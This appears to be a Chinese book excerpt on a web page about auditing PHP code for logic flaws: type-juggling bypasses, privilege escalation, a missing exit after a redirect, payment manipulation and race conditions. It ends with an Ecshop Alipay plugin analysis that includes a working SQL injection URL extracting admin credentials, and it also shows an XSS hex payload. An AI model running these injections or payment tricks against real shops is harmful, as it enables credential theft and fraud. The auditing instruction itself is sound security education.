返回介绍

6.2.1 挖掘经验

发布于 2024-10-11 22:07:44 字数 7388 浏览 0 评论 0 收藏 0

由于业务逻辑漏洞大多都存在逻辑处理以及业务流程中,没有特别明显的关键字可以用来快速定位,通常这类漏洞的挖掘技巧是通读功能点源码,先熟悉这套程序的业务流程,后面挖掘起来就会比较顺畅,值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用户密码、cookie 是否可预测或者说 cookie 验证是否可绕过等等。

6.2.1.1 等于与存在判断绕过

在逻辑漏洞里,判断函数是非常典型的一个例子,明明学校老师教的,还有官方手册里面写的,都说某某函数在某某情况下会返回 true,另外一种情况下会返回 false,但是一旦这些函数存在漏洞,可以逃逸这个判断函数,那这个逻辑就可以绕过了,下面我们来看看有哪些常见又有漏洞的判断函数。

1.in_array 函数

in_array() 函数是用来判断一个值是否在某一个数组列表里面,通常的判断方式如下:

in_array ( 'b' , array ( 'a' , 'b' , 'c' ))

这样是没有什么问题的,我们再看下面这段代码:

<?php

if ( in_array ( $_GET['typeid'] , array ( 1 , 2 , 3 , 4 )
 
)) 

{

    $sql="select .... where typeid='".$_GET['typeid']."'" ; 

echo $sql ;

这段代码的作用是过滤 GET 参数 typeid 在不在 1,2,3,4 这个数组里面,如果在里面则拼接到 SQL 语句里,看起来好像是没有什么问题的,但是这个 in_array() 函数存在一个问题,比较之前会自动做类型转换,如果我们请求/1.php?typeid=1'union select...,我们看看最终输出的 SQL 语句是什么,如图 6-6 所示。

图 6-6

可以看到我们提交的 typeid 参数并不全等于 1,2,3,4 数组里面的任何一个值,但是,还是可以绕过这个检查并且成功注入。

2.is_numeric 函数

is_numeric() 函数用来判断一个变量是否为数字,如果检查通过则返回 true,否则返回 false,我们来看如下这段代码:

<?php

if ( is_numeric ( $_GET['var'] )) 

{

    $sql="insert into xx values ( 'xx' , {$_GET['var']} ) " ; 

    echo $sql ; 

}

代码看起来好像也没有什么问题,不过这个函数存在一个问题,当传入的参数为 hex 时则直接通过并返回 true,而 MySQL 是可以直接使用 hex 编码代替字符串明文的,所以这块虽然不能直接注入 SQL 语句,但是存在二次注入和 XSS 等漏洞隐患,比如当我们提交“<script>alert(1)</scipt>”的 hex 编码“0x3c7363726970743e616c6572742831293c2f73636970743e”时,最终 SQL 语句的效果等同于:

insert into xx values ( 'xx' , '<script>alert ( 1 ) </scipt>' )

如果应用程序有其他地方调用这个值,并且直接输出,则有可能执行这段代码,触发 XSS 漏洞。

3.双等于和三等于

PHP 的双等于(==)和三等于(===)的区别,哪一个可能出现安全问题?这个问题是我经常在面试的时候提到,它们的区别在于,双等于在判断等于之前会先做变量类型转换,而三等于则不会,由于数据类型被改变,所以双等于在判断的时候可能存在安全风险,下面我们用代码来证明一下,代码如下:

<?php

var_dump ( $_GET['var']==2 );

当我们请求/1.php?var=2aaa 时,如图 6-7 所示。

图 6-7

输出结果为 true,请求/1.php?var=3aaa 时输出结果为 false,说明判断之前成功完成了变量类型转换,这里跟上面我们说的 in_array() 函数是一样的道理。

我们再来测试三等于(===),代码如下:

<?php

var_dump ( $_GET['var']===2 );

当我们再次提交/1.php?var=2aaa 时,此时返回为 false,说明这里没有进行类型转换,如图 6-8 所示。

图 6-8

6.2.1.2 账户体系中的越权漏洞

越权漏洞分为水平越权和垂直越权,水平越权指原相同等级权限的用户,A 用户可以查看或操作到 B 用户的私有信息,而这个查看或操作权限本来是 A 用户不该拥有的权限。垂直权限指不在同权限等级的用户,低权限等级的用户 A 可以查看或操作高权限等级 B 的私有信息,而这个查看或操作权限本来是 A 用户不该拥有的权限。

水平越权和垂直越权的定义不一样,但漏洞原理是一样的,都是账户体系上在判断权限时不严格导致存在绕过漏洞,这一类的绕过通常发生在 cookie 验证不严、简单判断用户提交的参数,归根结底,都是因为这些参数是在客户端提交,服务器端未严格校验。举个简单的例子,当前 A 用户查看自己详细订单的 URL 为/1.php?orderid=111,当用户手动提交/1.php?orderid=112 时,则可以看到订单 id 为 112 的订单详细情况。这里的逻辑比较简单,不再使用代码进行讲解分析。

6.2.1.3 未 exit 或 return 引发的安全问题

某些情况下,在经过 if 条件判断之后,有两种操作,一种是继续执行 if 后面的代码,另外一种是在 if 体内退出当前操作,但是这个退出行为,有不少程序忘记写 return、die() 或者 exit(),导致程序还是会继续执行。我们来看一个举例,代码如下:

<?php

if ( file_exists ( 'install.lock' ))) 

{

    // 程序已经安装,跳转到首页 

    header ( "Location : ../" );  

}

// …进入安装流程

很多程序的安装页面 install.php 文件的内容都有这么一段判断程序是否已经安装的代码,这段代码的意思是,判断“install.lock”文件是否存在,如果存在则跳转到首页,问题出在使用了 header() 函数跳转,但是 PHP 程序并没有退出,还是会进入安装流程。我们把代码改一下来测试这个 header() 函数,代码如下所示:

<?php

if ( $_GET['var']==='aa' ) 

{

    // 程序已经安装,跳转到首页 

    header ( "Location : ../" );  

}

echo $_GET['var'] ;

当我们用浏览器访问的时候是看不到输出的$_GET 参数的,因为浏览器接受到跳转指令后会立马跳转,我们用 burp 来抓返回的数据如图 6-9 所示。

图 6-9

可以看到输出了“aa”,说明经过 header() 函数之后程序依然继续执行了,正确的写法应该是在 header() 函数之后加一个 exit() 或者 die()。

6.2.1.4 常见支付漏洞

曾经有不少体量不小的电子商务网站都出现过支付漏洞,最终导致的结果是不花钱或者花很少的钱买更多的东西,还真的有不少人测试漏洞之后真的收到了东西,这种天上掉馅饼的漏洞太有诱惑力了。最常见的支付漏洞有四种,下面我们来看看这四种情况在代码审计的时候应该怎么挖。

第一、二、三种比较简单,分别是客户端可修改单价、总价和购买数量,服务器端未校验严格导致,比如在支付的时候一般购物车都如图 6-10 所示。

图 6-10

从图中我们可以看到三个关键元素,单价、总价和数量,这三个数字不管是哪个被改变,都会影响最终成交价格,部分商城程序是直接由单价和数量计算总价,但是并没有验证这两个数字是否小于 0,在上图的例子中,驾驶服务器没有验证数量这个数字,我们可以在客户端把数字改成负数然后提交上去,这类的 case 很多,具体的可以到乌云(wooyun.org)查看,这种形式的支付漏洞,只要我们找到支付功能代码,看看代码过滤情况即可挖掘到。

还有一种是以重复发包来利用时间差,以少量的钱多次购买,说到大家以前听过比较多的就是手机刷 QQ 钻了,也是利用同样的原理,利用手机快速给腾讯发送一条开通 QQ 业务的短信,发送完之后再快速发送一条取消业务的短信到短信运营商,真正的漏洞出现在短信运营商那边而不是腾讯。很多 IDC 开通 VPS 等业务的系统也存在这种漏洞,大概的原理如图 6-11 所示。

我们从图中可以看到一开始程序判断余额足够,然后两个订单都进入到服务开通流程,但是并还没有扣费,我们就是利用这个服务开通流程所花费的时间来多次开通业务。

我们在做代码审计挖掘这类漏洞的时候,可以注意寻找下面这种形式的代码:

图 6-11

<?php // 判断余额是否足够,足够则返回 true if ( check_money ( $price )) { //Do something // 花费几秒 $money = $money - $price ; }

或者是在“Do something”代码段的地方调用其他 API 或脚本,而扣费也是在其他 API 或脚本里面完成。

6.2.1.5 Ecshop 逻辑错误注入分析

这里我们用一个比较经典的 ecshop 支付宝支付插件漏洞来分析一下,据说这个漏洞出自 360 攻防实验室。漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond() 函数,代码如下:

function respond () 

  {

    if (! empty ( $_POST )) 

    {

    foreach ( $_POST as $key => $data ) 

    {

     $_GET[$key] = $data ; 

    }

  }

  $payment  = get_payment ( $_GET['code'] ); 

  $seller_email = rawurldecode ( $_GET['seller_email'] ); 

  $order_sn = str_replace ( $_GET['subject'] , '' , $_GET['out_trade_no'] ); 

  $order_sn = trim ( $order_sn ); 

  /* 检查支付的金额是否相符 */

  if (! check_money ( $order_sn , $_GET['total_fee'] )) 

  {

/*---- 省略 ----*/

$order_sn 变量由 str_replace($_GET['subject'],'',$_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\。

最终$order_sn 被带入 check_money() 函数。我们跟进看一下在 include\lib_payment.php 文件中 109 行,代码如下:

function check_money ( $log_id , $money ) 

{

  $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table ( 'pay_log' ) .

     " WHERE log_id = '$log_id'" ; 

  $amount = $GLOBALS['db']->getOne ( $sql ); 

  if ( $money == $amount ) 

  {

  /*---- 省略 ----*/

此处就是漏洞现场。原来的$order_sn 被带入了数据库导致注入漏洞存在,这个漏洞的逻辑问题就在于本来一个已经过滤掉特殊字符的参数,又再次被用户自定义提交上来的参数替换,导致原来的过滤符合反斜杠被替换掉,程序员在写代码的时候没有考虑到这块的逻辑问题。

利用实践:首先我们要通过 str_replace 来达到我们想要的效果,%00 是截断符,即也为 NULL,NULL 值是与 0 相等的,测试代码如下:

<?php

$a=addslashes ( $_GET['a'] ); 

$b=addslashes ( $_GET['b'] ); 

print_r ( $a.'<br />' ); 

print_r ( $b.'<br />' ); 

print_r ( str_replace ( $a , '' , $b ));? >

效果图如图 6-12 所示。

图 6-12

最终漏洞的利用效果如下:

EXP : http : //localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00 ′ and ( select * from ( select count ( * ), concat ( floor ( rand ( 0 ) *2 ),( select concat ( user_name , password ) from ecs_admin_user limit 1 )) a from information_schema.tables group by a ) xxx ) -- 1

结果如图 6-13 所示。

图 6-13

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文